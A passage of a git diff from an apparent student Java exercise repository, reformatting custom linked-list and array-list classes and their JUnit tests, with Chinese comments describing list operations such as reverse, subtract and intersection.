+	aLinkedList.subtract(list);
+	assertEquals(6, aLinkedList.size());
+
+	aLinkedList.add(1, 1); // [0,1,1,2,3,4,5]
+	aLinkedList.add(4, 3); // [0,1, 1, 2, 3, 3, 4, 5]
+
+	// list添加元素[0, 1, 3, 7]
+	list.add(0);
+	list.add(1);
+	list.add(3);
+	list.add(7);
+
+	aLinkedList.subtract(list); // [ 2, 4, 5]
+
+	assertEquals(2, aLinkedList.get(0));
+	assertEquals(4, aLinkedList.get(1));
+	assertEquals(5, aLinkedList.get(2));
+	assertEquals(3, aLinkedList.size());
+    }
+
+    @Test
+    public void testRemoveDuplicateValues() {
+	aLinkedList.removeDuplicateValues();
+	assertEquals(0, aLinkedList.size());
+
+	aLinkedList.add(3);
+	aLinkedList.add(3);
+	aLinkedList.add(4);
+	aLinkedList.add(4);
+	aLinkedList.add(5);
+	aLinkedList.add(6);
+	aLinkedList.add(6); // [3, 3, 4, 4, 5, 6, 6]
+
+	aLinkedList.removeDuplicateValues(); // [3, 4, 5, 6]
+
+	assertEquals(3, aLinkedList.get(0));
+	assertEquals(4, aLinkedList.get(1));
+	assertEquals(5, aLinkedList.get(2));
+	assertEquals(6, aLinkedList.get(3));
+	assertEquals(4, aLinkedList.size());
+
+    }
+
+    @Test
+    public void testRemoveRange() {
+	for (int i = 0; i < 6; i++) {
+	    aLinkedList.add(i); // [0, 1, 2, 3, 4, 5] //考虑重复元素
 	}
-	@Test
-	public void testIntersection()
-	{
-		for (int i=0; i<6; i++) 
-		{
-			aLinkedList.add(i);  
-		}
-		aLinkedList.add(6);
-		aLinkedList.add(7); // [0， 1, 2, 3, 4, 5, 6, 7] 
-		//list为null
-		MyLinkedList list = null;
-		MyLinkedList newList1 = aLinkedList.intersection(list);
-		assertNull(newList1);
-		
-		//list为空链表
-		list = new MyLinkedList();
-		MyLinkedList newList2 = aLinkedList.intersection(list);
-		assertEquals(0, newList2.size());
-		
-		list.add(0); 
-		list.add(3);
-		list.add(4);
-		list.add(6);
-		list.add(7);	 // [0, 3, 4, 6, 7]
-		MyLinkedList newList3 = aLinkedList.intersection(list);
-		
-		assertEquals(0, newList3.get(0));
-		assertEquals(3, newList3.get(1));
-		assertEquals(4, newList3.get(2));
-		assertEquals(6, newList3.get(3));
-		assertEquals(7, newList3.get(4));
-		assertEquals(5, newList3.size());
+	aLinkedList.addFirst(0); // [0, 0, 1, 2, 3, 4, 5]
+	aLinkedList.add(3, 2); // [0, 0, 1, 2, 2, 3, 4, 5]
+
+	aLinkedList.removeRange(1, 4); // 大于1小于4 [0, 0, 1, 4, 5]
+
+	assertEquals(0, aLinkedList.get(0));
+	assertEquals(0, aLinkedList.get(1));
+	assertEquals(1, aLinkedList.get(2));
+	assertEquals(4, aLinkedList.get(3));
+	assertEquals(5, aLinkedList.get(4));
+	assertEquals(5, aLinkedList.size());
+
+	// 若出现 min >= max的情况，什么都不做
+	aLinkedList.removeRange(4, 1);
+	assertEquals(0, aLinkedList.get(0));
+	assertEquals(0, aLinkedList.get(1));
+	assertEquals(1, aLinkedList.get(2));
+	assertEquals(4, aLinkedList.get(3));
+	assertEquals(5, aLinkedList.get(4));
+	assertEquals(5, aLinkedList.size());
+
+	// 将整个链表中的元素删除
+	aLinkedList.removeRange(-1, 8);
+	assertEquals(0, aLinkedList.size());
+    }
+
+    @Test
+    public void testIntersection() {
+	for (int i = 0; i < 6; i++) {
+	    aLinkedList.add(i);
 	}
-	
+	aLinkedList.add(6);
+	aLinkedList.add(7); // [0， 1, 2, 3, 4, 5, 6, 7]
+	// list为null
+	MyLinkedList list = null;
+	MyLinkedList newList1 = aLinkedList.intersection(list);
+	assertNull(newList1);
+
+	// list为空链表
+	list = new MyLinkedList();
+	MyLinkedList newList2 = aLinkedList.intersection(list);
+	assertEquals(0, newList2.size());
+
+	list.add(0);
+	list.add(3);
+	list.add(4);
+	list.add(6);
+	list.add(7); // [0, 3, 4, 6, 7]
+	MyLinkedList newList3 = aLinkedList.intersection(list);
+
+	assertEquals(0, newList3.get(0));
+	assertEquals(3, newList3.get(1));
+	assertEquals(4, newList3.get(2));
+	assertEquals(6, newList3.get(3));
+	assertEquals(7, newList3.get(4));
+	assertEquals(5, newList3.size());
+    }
+
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/List.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/List.java
index f2299e8e83..e73700ec53 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/List.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/List.java
@@ -1,14 +1,16 @@
 package com.github.HarryHook.coding2017.basic;
 
+public interface List {
 
-public interface List 
-{
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-	
-	public Iterator iterator();
-}
+    public void add(Object o);
+
+    public void add(int index, Object o);
+
+    public Object get(int index);
 
+    public Object remove(int index);
+
+    public int size();
+
+    public Iterator iterator();
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/ListTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/ListTest.java
index 92f84b687c..113b32f4d2 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/ListTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/ListTest.java
@@ -10,113 +10,109 @@
 
 public class ListTest {
 
-	protected static List aList;
-
-	@Test
-	public void testFunctional() {
-		aList.add(1);
-		aList.add(2);
-		assertEquals(1, aList.get(0));
-		assertEquals(2, aList.get(1));
-		
-		aList.add(3);
-		aList.add(0, 5);
-		aList.add(2, 11);
-		assertEquals(5, aList.get(0));
-		assertEquals(11, aList.get(2));
-		
-		aList.add("hi");
-		assertEquals("hi", aList.get(5));
-		assertEquals(6, aList.size());
-		
-		aList.remove(1);
-		assertEquals(11, aList.get(1));
-		assertEquals(2, aList.get(2));
-		
-		assertEquals(5, aList.size());
-	}
-	
-	@Test
-	public void testAdd() {
-		for (int i=0; i<100; i++)
-			aList.add(i);
-		assertEquals(0, aList.get(0));
-		assertEquals(99, aList.get(99));
-		assertEquals(44, aList.get(44));
-	}
-	
-	@Test
-	public void testRemove() {
-		aList.add(1);
-		aList.add(2);
-		aList.add(3);
-		int u = (Integer)aList.remove(2);
-		assertEquals(3, u);
-		assertEquals(2, aList.size());
-		
-		aList.add(1, 5);
-		u = (Integer)aList.remove(0);
-		assertEquals(1, u);
-		assertEquals(5, aList.get(0));
-		assertEquals(2, aList.get(1));
-		assertEquals(2, aList.size());
-		
-		aList.remove(0);
-		aList.remove(0);
-		assertEquals(0, aList.size());
-		
-
-	}
-	
-	@Test
-	public void testSize() {
-		for (int i=0; i<10; i++)
-			aList.add(i*2);
-		assertEquals(10, aList.size());
-	}
-	
-	@Rule  
-	public ExpectedException expectedEx = ExpectedException.none(); 
-	
-	@Test
-	public void testException() {
-		expectedEx.expect(Exception.class);
-		aList.remove(1);
-		aList.add(3);
-		aList.add(2, 5);
-		expectedEx.expect(Exception.class);
-	}
-	
-	@Test
-	 
-	public void testIterator() 
-	{
-		Iterator it = aList.iterator();
-		assertEquals(false, it.hasNext());
-		
-		aList.add(1);
-		aList.add(2);
-		aList.add(3);
-		
-		it = aList.iterator();
-		assertEquals(true, it.hasNext());
-		assertEquals(1, it.next());
-		assertEquals(2, it.next());
-		assertEquals(3, it.next());
-		assertEquals(false, it.hasNext());
-		
-		aList.remove(1);
-		it = aList.iterator();
-		assertEquals(true, it.hasNext());
-		assertEquals(1, it.next());
-		assertEquals(3, it.next());
-		assertEquals(false, it.hasNext());	
-		
-		expectedEx.expect(Exception.class);
-		it.next();
-		
-	}
-	
-	
+    protected static List aList;
+
+    @Test
+    public void testFunctional() {
+	aList.add(1);
+	aList.add(2);
+	assertEquals(1, aList.get(0));
+	assertEquals(2, aList.get(1));
+
+	aList.add(3);
+	aList.add(0, 5);
+	aList.add(2, 11);
+	assertEquals(5, aList.get(0));
+	assertEquals(11, aList.get(2));
+
+	aList.add("hi");
+	assertEquals("hi", aList.get(5));
+	assertEquals(6, aList.size());
+
+	aList.remove(1);
+	assertEquals(11, aList.get(1));
+	assertEquals(2, aList.get(2));
+
+	assertEquals(5, aList.size());
+    }
+
+    @Test
+    public void testAdd() {
+	for (int i = 0; i < 100; i++)
+	    aList.add(i);
+	assertEquals(0, aList.get(0));
+	assertEquals(99, aList.get(99));
+	assertEquals(44, aList.get(44));
+    }
+
+    @Test
+    public void testRemove() {
+	aList.add(1);
+	aList.add(2);
+	aList.add(3);
+	int u = (Integer) aList.remove(2);
+	assertEquals(3, u);
+	assertEquals(2, aList.size());
+
+	aList.add(1, 5);
+	u = (Integer) aList.remove(0);
+	assertEquals(1, u);
+	assertEquals(5, aList.get(0));
+	assertEquals(2, aList.get(1));
+	assertEquals(2, aList.size());
+
+	aList.remove(0);
+	aList.remove(0);
+	assertEquals(0, aList.size());
+
+    }
+
+    @Test
+    public void testSize() {
+	for (int i = 0; i < 10; i++)
+	    aList.add(i * 2);
+	assertEquals(10, aList.size());
+    }
+
+    @Rule
+    public ExpectedException expectedEx = ExpectedException.none();
+
+    @Test
+    public void testException() {
+	expectedEx.expect(Exception.class);
+	aList.remove(1);
+	aList.add(3);
+	aList.add(2, 5);
+	expectedEx.expect(Exception.class);
+    }
+
+    @Test
+
+    public void testIterator() {
+	Iterator it = aList.iterator();
+	assertEquals(false, it.hasNext());
+
+	aList.add(1);
+	aList.add(2);
+	aList.add(3);
+
+	it = aList.iterator();
+	assertEquals(true, it.hasNext());
+	assertEquals(1, it.next());
+	assertEquals(2, it.next());
+	assertEquals(3, it.next());
+	assertEquals(false, it.hasNext());
+
+	aList.remove(1);
+	it = aList.iterator();
+	assertEquals(true, it.hasNext());
+	assertEquals(1, it.next());
+	assertEquals(3, it.next());
+	assertEquals(false, it.hasNext());
+
+	expectedEx.expect(Exception.class);
+	it.next();
+
+    }
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyArrayList.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyArrayList.java
index dbfd8aae19..e8cc041978 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyArrayList.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyArrayList.java
@@ -7,161 +7,136 @@
 import java.util.Arrays;
 import java.util.NoSuchElementException;
 
-public class MyArrayList implements List 
-{	
-	private int size = 0;    //数组元素个数
-	
-	private Object[] elementData = new Object[10];  //初始化数组大小为10
-			
-	//将元素添加到数组尾部
-	public void add(Object o)
-	{   //需要判断数组空间是否够用
-		ensureCapacity(size + 1);
-		elementData[size++] = o;
-	}
-	//在指定位置添加元素
-	public void add(int index, Object o)
-	{
-		//判断下标记是否越界		
-		if (index > size || index < 0)
-            throw new IndexOutOfBoundsException(
-            "Index: " + index + ", Size: " + size);
-		ensureCapacity(size + 1);
-		//判断当前位置是否有元素，没有元素添加到当前位置；若有，当前元素及之后元素向右移
-		if(elementData[index] == null)
-		{
-			elementData[index] = o;
-		}
-		else
-		{
-			for(int i=elementData.length-1; i>index; i--)  
-			{
-				elementData[i] = elementData[i-1];
-			} 
-			elementData[index] = o;
-		}  		
-		size++;
-		
-		/*
-		   //判断索引位置是否正确
-        if (index > size || index < 0)
-            throw new IndexOutOfBoundsException(
-            "Index: " + index + ", Size: " + size);
-        //扩容检测
-        ensureCapacity(size+1);  
-        /*
-         * 对源数组进行复制处理（位移），从index + 1到size-index。
-         * 主要目的就是空出index位置供数据插入，
-         * 即向右移动当前位于该位置的元素以及所有后续元素。 
-         
-        System.arraycopy(elementData, index, elementData, index + 1,
-                 size - index);
-        //在指定位置赋值
-        elementData[index] = 0;
-        size++;
-        
-        */
-	}
-	
-	public Object get(int index)
-	{	
-		//若index超出size应该抛出异常
-		if(index >= size)
-			 throw new IndexOutOfBoundsException( "Index: " + index + ", Size: " + size);
-		return  elementData[index];
-		
-	}
-	
-	public Object remove(int index)
-	{	//涉及到元素移位
-		Object oldValue = elementData[index];
-		for(int i=index; i<elementData.length-1; i++)
-			elementData[i] = elementData[i+1];		
-		elementData[--size] = null;
-		
-		return oldValue;
-	}
-	
-	//判断是否需要给数组扩容
-	public void ensureCapacity(int minCapacity)
-	{  
-	    
-	    int oldCapacity = elementData.length;  
-	    if (minCapacity > oldCapacity) 
-	    {  
-	        //Object oldData[] = elementData;   //防止copyof()执行的过程中新内存或者其他进程分配内存时占用旧内存
-	        int newCapacity = (oldCapacity * 3)/2 + 1;  //增加50%+1
-	            if (newCapacity < minCapacity)  
-	                newCapacity = minCapacity;  
-	      // minCapacity is usually close to size, so this is a win:  
-	        elementData = Arrays.copyOf(elementData, newCapacity);  
-	    }  
-	 }
-	
-	//返回数组的大小
-	public int size()
-	{
-		return size;
-	}
-	
-	public Iterator iterator()
-	{
-		return new MyArrayListIterator();
+public class MyArrayList implements List {
+    private int size = 0; // 数组元素个数
+
+    private Object[] elementData = new Object[10]; // 初始化数组大小为10
+
+    // 将元素添加到数组尾部
+    public void add(Object o) { // 需要判断数组空间是否够用
+	ensureCapacity(size + 1);
+	elementData[size++] = o;
+    }
+
+    // 在指定位置添加元素
+    public void add(int index, Object o) {
+	// 判断下标记是否越界
+	if (index > size || index < 0)
+	    throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);
+	ensureCapacity(size + 1);
+	// 判断当前位置是否有元素，没有元素添加到当前位置；若有，当前元素及之后元素向右移
+	if (elementData[index] == null) {
+	    elementData[index] = o;
+	} else {
+	    for (int i = elementData.length - 1; i > index; i--) {
+		elementData[i] = elementData[i - 1];
+	    }
+	    elementData[index] = o;
 	}
-	
-	private class MyArrayListIterator implements Iterator
-	{
-		private int cursor = 0;      //记录索引位置         
-		public boolean hasNext()
-		{
-			return cursor != size;    
-		}
-		public Object next() 
-		{  
-			  try { 
-		                Object next = get(cursor);  
-		                cursor++;
-		                return next;
-
-	            } catch (IndexOutOfBoundsException e)
-			  	{
-	                throw new NoSuchElementException();
-	            }
-		
-		}
+	size++;
+
+	/*
+	 * //判断索引位置是否正确 if (index > size || index < 0) throw new
+	 * IndexOutOfBoundsException( "Index: " + index + ", Size: " + size);
+	 * //扩容检测 ensureCapacity(size+1); /* 对源数组进行复制处理（位移），从index +
+	 * 1到size-index。 主要目的就是空出index位置供数据插入， 即向右移动当前位于该位置的元素以及所有后续元素。
+	 * 
+	 * System.arraycopy(elementData, index, elementData, index + 1, size -
+	 * index); //在指定位置赋值 elementData[index] = 0; size++;
+	 * 
+	 */
+    }
+
+    public Object get(int index) {
+	// 若index超出size应该抛出异常
+	if (index >= size)
+	    throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);
+	return elementData[index];
+
+    }
+
+    public Object remove(int index) { // 涉及到元素移位
+	Object oldValue = elementData[index];
+	for (int i = index; i < elementData.length - 1; i++)
+	    elementData[i] = elementData[i + 1];
+	elementData[--size] = null;
+
+	return oldValue;
+    }
+
+    // 判断是否需要给数组扩容
+    public void ensureCapacity(int minCapacity) {
+
+	int oldCapacity = elementData.length;
+	if (minCapacity > oldCapacity) {
+	    // Object oldData[] = elementData;
+	    // //防止copyof()执行的过程中新内存或者其他进程分配内存时占用旧内存
+	    int newCapacity = (oldCapacity * 3) / 2 + 1; // 增加50%+1
+	    if (newCapacity < minCapacity)
+		newCapacity = minCapacity;
+	    // minCapacity is usually close to size, so this is a win:
+	    elementData = Arrays.copyOf(elementData, newCapacity);
 	}
-	
-	public static void main(String[] args)
-	{
-		MyArrayList myArrays = new MyArrayList();
-		myArrays.add(3);
-		myArrays.add(0, 11);
-		myArrays.add(1, 2);
-		myArrays.add(3, 5);
-		myArrays.add(2, 1);
-		myArrays.add(7);
-		Print(myArrays);
-		
-		for(int i = 0; i < 19; i++)
-			myArrays.add(i, 55);
-		
-		System.out.println("获取指定位置元素： " + myArrays.get(2));
-		System.out.println("删除指定位置元素： " + myArrays.remove(1));
-		System.out.println("当前元素个数：" + myArrays.size());
-		
-		Print(myArrays);
-			
+    }
+
+    // 返回数组的大小
+    public int size() {
+	return size;
+    }
+
+    public Iterator iterator() {
+	return new MyArrayListIterator();
+    }
+
+    private class MyArrayListIterator implements Iterator {
+	private int cursor = 0; // 记录索引位置
+
+	public boolean hasNext() {
+	    return cursor != size;
 	}
-	public static void Print(MyArrayList myArrays)
-	{
-		Iterator it = myArrays.iterator();	
-		System.out.println("对链表中的元素进行打印：");
-		while(it.hasNext())
-			System.out.print(it.next() + " ");
-		System.out.println("");
-		System.out.println("当前元素个数： " + myArrays.size()); 
+
+	public Object next() {
+	    try {
+		Object next = get(cursor);
+		cursor++;
+		return next;
+
+	    } catch (IndexOutOfBoundsException e) {
+		throw new NoSuchElementException();
+	    }
 
 	}
-	
-}
+    }
+
+    public static void main(String[] args) {
+	MyArrayList myArrays = new MyArrayList();
+	myArrays.add(3);
+	myArrays.add(0, 11);
+	myArrays.add(1, 2);
+	myArrays.add(3, 5);
+	myArrays.add(2, 1);
+	myArrays.add(7);
+	Print(myArrays);
 
+	for (int i = 0; i < 19; i++)
+	    myArrays.add(i, 55);
+
+	System.out.println("获取指定位置元素： " + myArrays.get(2));
+	System.out.println("删除指定位置元素： " + myArrays.remove(1));
+	System.out.println("当前元素个数：" + myArrays.size());
+
+	Print(myArrays);
+
+    }
+
+    public static void Print(MyArrayList myArrays) {
+	Iterator it = myArrays.iterator();
+	System.out.println("对链表中的元素进行打印：");
+	while (it.hasNext())
+	    System.out.print(it.next() + " ");
+	System.out.println("");
+	System.out.println("当前元素个数： " + myArrays.size());
+
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyLinkedList.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyLinkedList.java
index 9a668faaf0..e1c3478907 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyLinkedList.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyLinkedList.java
@@ -5,549 +5,409 @@
 
 package com.github.HarryHook.coding2017.basic;
 
-public class MyLinkedList implements List 
-{
-	private Node head = null;	//头指针
-	private int size = 0;
-	private static  class Node
-	{
-		Object data;
-		Node next;
+public class MyLinkedList implements List {
+    private Node head = null; // 头指针
+    private int size = 0;
+
+    private static class Node {
+	Object data;
+	Node next;
+    }
+
+    public void add(Object o) {
+	addLast(o);
+    }
+
+    // 在指定位置添加元素
+    public void add(int index, Object o) {
+
+	if (index > size || index < 0) {
+	    throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);
 	}
-	public void add(Object o) 
-	{
-		addLast(o);
+
+	// 存在插入头结点的情况
+	if (index == 0) {
+	    addFirst(o);
+	} else { // 即 index != 0 的情况
+		 // p保存待插入节点的前一节点，x指向要插入的节点
+	    Node x = head;
+	    Node p = null;
+	    int i = 0;
+	    while (i < index) {
+		p = x;
+		x = x.next;
+		i++;
+	    }
+	    Node n = new Node();
+	    p.next = n;
+	    n.next = x;
+	    n.data = o;
+	    size++;
 	}
-	//在指定位置添加元素
-	public void add(int index , Object o)
-	{
-		
-		if (index > size || index < 0)
-		{
-		    throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);	
-		}
-		    
-		//存在插入头结点的情况
-		if(index == 0)
-		{
-		    addFirst(o);
-		}	
-		else
-		{		//即 index != 0 的情况
-				// p保存待插入节点的前一节点，x指向要插入的节点
-				Node x = head; 
-				Node p = null;
-				int i = 0;
-				while(i < index)
-				{
-					p = x;
-					x = x.next;
-					i++;
-				}
-				Node n = new Node();
-				p.next = n;
-				n.next = x;
-				n.data = o;	
-				size++;
-		}
-		
+
+    }
+
+    // 返回指定位置元素
+    public Object get(int index) {
+	if (index >= size) {
+	    throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);
 	}
-	//返回指定位置元素
-	public Object get(int index)
-	{	
-		if(index >= size)
-		{
-			throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);
-		}
-		Node x = head; 
-		int i = 0;
-		while(i < index && x != null)
-		{
-			x = x.next;
-			i++;
-		}
-		return x.data;
+	Node x = head;
+	int i = 0;
+	while (i < index && x != null) {
+	    x = x.next;
+	    i++;
 	}
-	
-	//移除指定位置节点
-	public Object remove(int index)
-	{
-		if (index > size || index < 0)
-		{
-		    throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);
-		}
-		//先判断是否是头节点
-		if( index == 0)
-		{			
-			return removeFirst();		
-		}
-		else
-		{
-			Node x = head; 
-			Node pre = null;
-			int i = 0;
-			while(i < index)
-			{ 
-				pre = x;
-				x = x.next; 
-				i++;	
-			}
-			Object Data = pre.next.data;
-			pre.next = x.next;
-			x = null;
-			size--;
-			return Data;				
-		}
+	return x.data;
+    }
 
+    // 移除指定位置节点
+    public Object remove(int index) {
+	if (index > size || index < 0) {
+	    throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);
 	}
-	//头部添加节点
-	public void addFirst(Object o)
-	{
-		Node n = new Node();
-		n.next = head;
-		head = n;
-		n.data = o;
-		size++;
+	// 先判断是否是头节点
+	if (index == 0) {
+	    return removeFirst();
+	} else {
+	    Node x = head;
+	    Node pre = null;
+	    int i = 0;
+	    while (i < index) {
+		pre = x;
+		x = x.next;
+		i++;
+	    }
+	    Object Data = pre.next.data;
+	    pre.next = x.next;
+	    x = null;
+	    size--;
+	    return Data;
 	}
-	//尾部添加节点
-	public void addLast(Object o)
-	{
-		 if (head == null)
-		 {
-			 head = new Node();
-			 head.data = o;
-		 }
-		else
-		{
-	    		Node x = head; 
-			while(x.next != null)		
-			{
-				x = x.next;
-			}
-			Node n = new Node();
-			x.next = n;
-			n.next = null;
-			n.data = o;
-		}
-		size++;
+
+    }
+
+    // 头部添加节点
+    public void addFirst(Object o) {
+	Node n = new Node();
+	n.next = head;
+	head = n;
+	n.data = o;
+	size++;
+    }
+
+    // 尾部添加节点
+    public void addLast(Object o) {
+	if (head == null) {
+	    head = new Node();
+	    head.data = o;
+	} else {
+	    Node x = head;
+	    while (x.next != null) {
+		x = x.next;
+	    }
+	    Node n = new Node();
+	    x.next = n;
+	    n.next = null;
+	    n.data = o;
 	}
-	//移除第一个节点
-	public Object removeFirst()
-	{
-		Node n = head;
-		Object Data = n.data;
-		head = head.next;
-		n = null;
-		size--;
-		return Data;	
+	size++;
+    }
+
+    // 移除第一个节点
+    public Object removeFirst() {
+	Node n = head;
+	Object Data = n.data;
+	head = head.next;
+	n = null;
+	size--;
+	return Data;
+    }
+
+    // 移除最后一个节点
+    public Object removeLast() {
+	Node x = head;
+	Node p = null;
+	if (x.next == null) {
+	    return removeFirst();
+	} else {
+	    while (x.next != null) {
+		p = x;
+		x = x.next;
+	    }
+	    Object Data = x.data;
+	    p.next = null;
+	    x = null; // 删除最后一个节点
+	    size--;
+	    return Data;
 	}
-	
-	//移除最后一个节点
-	public Object removeLast()
-	{
-		Node x = head; 
-		Node p = null;
-		if(x.next == null)
-		{
-			return removeFirst();
-		}
-		else
-		{
-			while(x.next != null)
-			{
-				p = x;
-				x = x.next;
-			}
-			Object Data = x.data;
-			p.next = null;
-			x = null;       //删除最后一个节点
-			size--;
-			return Data;	
-		}
+    }
+
+    public int size() {
+	return size;
+    }
+
+    public Iterator iterator() {
+	return new MyLinkedListIterator();
+    }
+
+    private class MyLinkedListIterator implements Iterator {
+	private int cursor = 0; // 记录索引位置
+
+	public boolean hasNext() {
+	    return cursor != size;
 	}
-	public int size()
-	{
-		return size;
+
+	public Object next() {
+	    Object next = get(cursor);
+	    cursor++;
+	    return next;
 	}
-	public Iterator iterator()
-	{
-		return new MyLinkedListIterator();
+    }
+
+    /**
+     * 把该链表逆置 例如链表为 3->7->10 , 逆置后变为 10->7->3
+     */
+    public void reverse() {
+	if (head == null) {
+	    return;
 	}
-	private class MyLinkedListIterator implements Iterator
-	{
-		private int cursor = 0;      //记录索引位置         
-		public boolean hasNext()
-		{
-			return cursor != size;    
-		}
-		public Object next() 
-		{  
-			Object next = get(cursor);  
-			cursor ++;  
-			return next;  
-		}
+	Node p1, p2, p3;
+	p1 = head;
+	p2 = p1.next;
+	while (p2 != null) {
+	    p3 = p2.next;
+	    p2.next = p1;
+	    p1 = p2;
+	    p2 = p3;
 	}
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public void reverse()
-	{		
-		if(head == null)
-		{
-			return ;
-		}
-		Node p1, p2, p3;
-		p1 = head;
-		p2 = p1.next;
-		while(p2 != null)
-		{
-			p3 = p2.next;
-			p2.next = p1;
-			p1 = p2;
-			p2 = p3;
-		}
-		head.next = null;
-		head = p1;
+	head.next = null;
+	head = p1;
+    }
+
+    /**
+     * 删除一个单链表的前半部分 例如：list = 2->5->7->8 , 删除以后的值为 7->8 如果list = 2->5->7->8->10
+     * ,删除以后的值为7,8,10
+     * 
+     */
+    public void removeFirstHalf() {
+	if (size == 0) {
+	    return;
 	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-		
-	 */
-	public  void removeFirstHalf()
+	Node p = head;
+	Node q = null;
+	int i = size / 2;
+	int j = 0;
+	while (j < i) {
+	    j++;
+	    q = p;
+	    p = p.next;
+	}
+	head = p;
+	q.next = null;
+	size = size - i;
+
+    }
+
+    /**
+     * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+     * 
+     * @param i
+     * @param length
+     */
+    public void remove(int i, int length) {
+	Node p = head;
+	Node q = null;
+	int index = 0;
+	int j = 0;
+
+	while (index < i) {
+	    q = p;
+	    p = p.next;
+	    index++;
+	}
+
+	while (p != null && j < length) {
+	    p = p.next;
+	    j++;
+	}
+	if (i == 0) // 从头开始移除元素
 	{
-		if(size == 0)
-		{
-		    	return ;
-		}
-		Node p = head;
-		Node q = null;
-		int i = size / 2;
-		int j = 0;
-		while(j < i)
-		{
-			j++;	
-			q = p;
-			p = p.next;
-		}
+	    if (p == null) // 元素全被删光
+	    {
+		head = null;
+		size = 0;
+	    } else // 从头删length个元素
+	    {
 		head = p;
+		size = size - length;
+	    }
+	} else // 从中间开始移除元素
+	{
+	    if (p == null) {
 		q.next = null;
-		size = size - i;
+		size = size - j;
+	    } else {
+		q.next = p;
+		size = size - length;
+	    }
+	}
 
+    }
+
+    /**
+     * 假定当前链表和list均包含已升序排列的整数 从当前链表中取出那些list所指定的元素 例如当前链表 =
+     * 11->101->201->301->401->501->601->701 listB = 1->3->4->6
+     * 返回的结果应该是[101,301,401,601]
+     * 
+     * @param list
+     */
+    public int[] getElements(MyLinkedList list) {
+	if (list == null) {
+	    return new int[0];
 	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public  void remove(int i, int length)
-	{
-		Node p = head;
-		Node q = null;
-		int index = 0;
-		int j = 0;
-		
-		while(index < i)
-		{
-			q = p;	
-			p = p.next;
-			index ++;
-		}
+	int i = 0;
+	int[] array = new int[list.size()];
+	while (i < list.size()) {
+	    array[i] = (int) this.get((int) list.get(i));
+	    i++;
+	}
+	return array;
+    }
+
+    /**
+     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。 从当前链表中中删除在list中出现的元素
+     * 
+     * @param list
+     */
+
+    public void subtract(MyLinkedList list) {
+	int i = 0;
+	if (list == null) {
+	    return;
+	}
+	while (i < list.size()) {
+	    for (int index = 0; index < this.size(); index++) {
+		Node p = head; // 当前节点
+		Node q = null; // 前驱节点
+		while (list.get(i) != p.data && p.next != null) {
+		    q = p;
+		    p = p.next;
+		}
+		if (p.data == list.get(i)) { // 删除找到的节点
 		
-		while(p != null && j < length)
-		{
-			p = p.next;
-			j++;
-		}
-		if(i==0)   //从头开始移除元素
-		{
-			if(p == null)	//元素全被删光
-			{
-				head = null;
-				size = 0;
-			}
-			else			//从头删length个元素
-			{
-				head = p;
-				size = size - length;
-			}
-		}
-		else	//从中间开始移除元素
-		{
-			if(p == null)
-			{
-				q.next = null;
-				size = size - j ;
-			}
-			else
-			{
-				q.next = p;
-				size = size - length;
-			}
-		}
-			
+		    if (p == head) {
+			head = head.next;
+		    } else {
+			q.next = p.next;
+		    }
+		    size--;
+		}
+	    }
+
+	    i++;
 	}
-	
-	/**
-	 * 假定当前链表和list均包含已升序排列的整数
-	 * 从当前链表中取出那些list所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public int[] getElements(MyLinkedList list)
-	{
-		if(list == null)
-		{
-			return new int[0];
-		}
-		int i = 0 ;
-		int[] array = new int[list.size()];
-		while(i < list.size())
-		{
-			array[i] = (int) this.get((int)list.get(i));
-			i++;
-		}
-		return array;
+    }
+
+    /**
+     * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+     */
+    public void removeDuplicateValues() {
+	if (head == null) {
+	    return;
 	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在list中出现的元素 
+	Node p = head;
+	Node q = head; // 前驱
+	while (p.next != null) {
+	    p = p.next;
 
-	 * @param list
-	 */
-	
-	public void subtract(MyLinkedList list)
-	{
-		int i = 0;
-		if(list == null)
-		{
-			return ;
-		}
-		while(i < list.size())
-		{
-			for(int index = 0; index < this.size(); index++)
-			{
-				Node p = head; //当前节点
-				Node q = null; //前驱节点
-				while(list.get(i) != p.data && p.next != null)
-				{
-					q = p;
-					p = p.next;
-				}
-				if(p.data == list.get(i))   //删除找到的节点
-				{
-					if(p == head)
-						head = head.next;
